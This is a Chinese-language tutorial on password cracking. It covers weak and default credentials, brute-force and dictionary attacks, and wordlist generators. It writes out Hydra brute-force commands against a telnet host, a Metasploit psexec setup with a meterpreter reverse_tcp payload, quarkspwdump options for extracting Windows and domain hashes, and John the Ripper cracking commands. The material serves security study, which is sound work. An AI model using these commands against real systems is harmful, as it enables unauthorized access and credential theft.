口令破解
概述
现在很多地方都以用户名(账号)和口令(密码)作为鉴权的方式,口令(
密码)就意味着访问权限。口令(密码)就相当于进入家门的钥匙,当他
人有一把可以进入你家的钥匙,想想你的安全、你的财务、你的隐私…
例如网站后台、数据库、服务器、个人电脑、QQ、邮箱等。
口令安全现状
- 弱口令
类似于123456、654321k admin123 等这样常见的弱密码。 - 默认口令
很多应用或者系统都存在默认口令;如phpstudy的mysql数据库默认账密[root/root],Tomcat管理控制台默认账密[tomcat/ tomcat]等。 - 明文传输
如HTTP、FTP、TELNET等服务,在网络中传输的数据流都是明文的,包括口令认证信息等。这样的服务,有被嗅探的风险。
破解方式
暴力破解
暴力破解就是利用所有可能得字符组密码,去尝试破解。这是最原始,粗暴的破解方法,根据运算能力,如果能够承受的起时间成本的话,最终一定会爆破出密码。
字符集 密码位数 密码空间
[0-9] 8位 10^8=100000000
[0-9][a-z] 8位 36^8=2821109907456
[0-9][a-z] 1-8位 ??
kali的字典生成工具:Crunch
是一种创建密码字典工具,按照指定的规则生成密码字典,可以灵活的制定自己的字典文件。使用Crunch工具生成的密码可以输出到屏幕,保存到文件、或另一个程序。
它有一个库文件:cat /usr/share/crunch/charset.lst
字典破解
字典破解就是通过比较合理的条件,筛选或者过滤掉一些全字符组合的
内容,大幅降低爆破的成本。我们把筛选出的密码组合成特定的字典。在用字典爆破密码也是可以的,但是这样做有可能会漏掉真正的密码。
密码字典大致分为以下几类:
- 子域名字典
- 默认账号密码字典
- 文件路径字典
- 日志文件
- Web目录
- 常用变量名字典
- 常用文件名字典
- 弱口令字典
比如123456,admin等这样的默认口令或弱口令。 - 社工字典
人们在设置密码的时候,往往为了便于记忆,密码的内容和组合会与个人信息有关,比如常见的密码组合“名字+生日":[zhangsan1998]
社工字典更具针对性,准确率也比较高,根据个人信息生成密码字典。
cupp工具
国外开发的,更偏向国外人的习惯。
生成一个以你输入的first name开头的txt字典:
其他字典生成器:
- 字符集字典
如果能确定密码的字符集合,也将大大降低爆破的成本。
Hydra
- “九头蛇”,是著名黑客组织thc的一款开源的暴力密码破解工具,可以在线破解多种密码。
- windows版本下载:https://github.com/maaaaz/thc-hydra-windows
- 可支持AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL , NCP, NNTP, Oracle Listener , Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP等类型密码。
- 简单命令
# 指定用户进行密码破解
hydra.exe -L 用户名字典 -P 密码字典路径 目标地址 密码类型
-l LOGIN 指定破解的用户,对特定用户破解
-L FILE 指定用户名字典
-vV 显示爆破详细过程
-0 保存爆破结果
-f 找到正确的密码就停止爆破
-e nsr null密码、same、反向
-t num 线程数为num
密码类型(telnet、ftp、ssh、smb...)
# 破解10.1.1.2主机上的远程登录密码,使用e盘下的user.txt用户名字典和e盘下的password.txt密码字典进行暴力破解
hydra.exe -L e:\user.txt -P e:\password.txt 10.1.1.2 telnet
- MSF----SMB,已知SMB帐密,远程连接windows系统并执行命令。
use exploit/windows/smb/psexec_psh
set payload windows/meterpreter/reverse tcp
set RHOSTS 目标IP地址
set SMBUSER 用户名
set SMBPASS 密码
set LHOST 监听IP地址
quarkspwdump
- 是一款开放源代码的Windows用户凭据提取工具,它可以抓取windows平台下多种类型的用户凭据,包括:本地帐户、域帐户、缓存的域帐户和 Bitlocker。
- 参数
-dhl 导出本地哈希值
-dhdc 导出内存中的域控哈希值
-dhd 导出域控哈希值,必须指定NTDS文件
-db 导出Bitlocker信息,必须指定NTDS文件
-nt 导出ntds文件
-hist 导出历史信息,可选项
-t 导出类型可选默认导出为John类型。
-o 导出文件到本地
- 在使用john进行破解
john hash文件 -- format=NT --wordlist=密码字典路径
john --show hash文件 --format=NT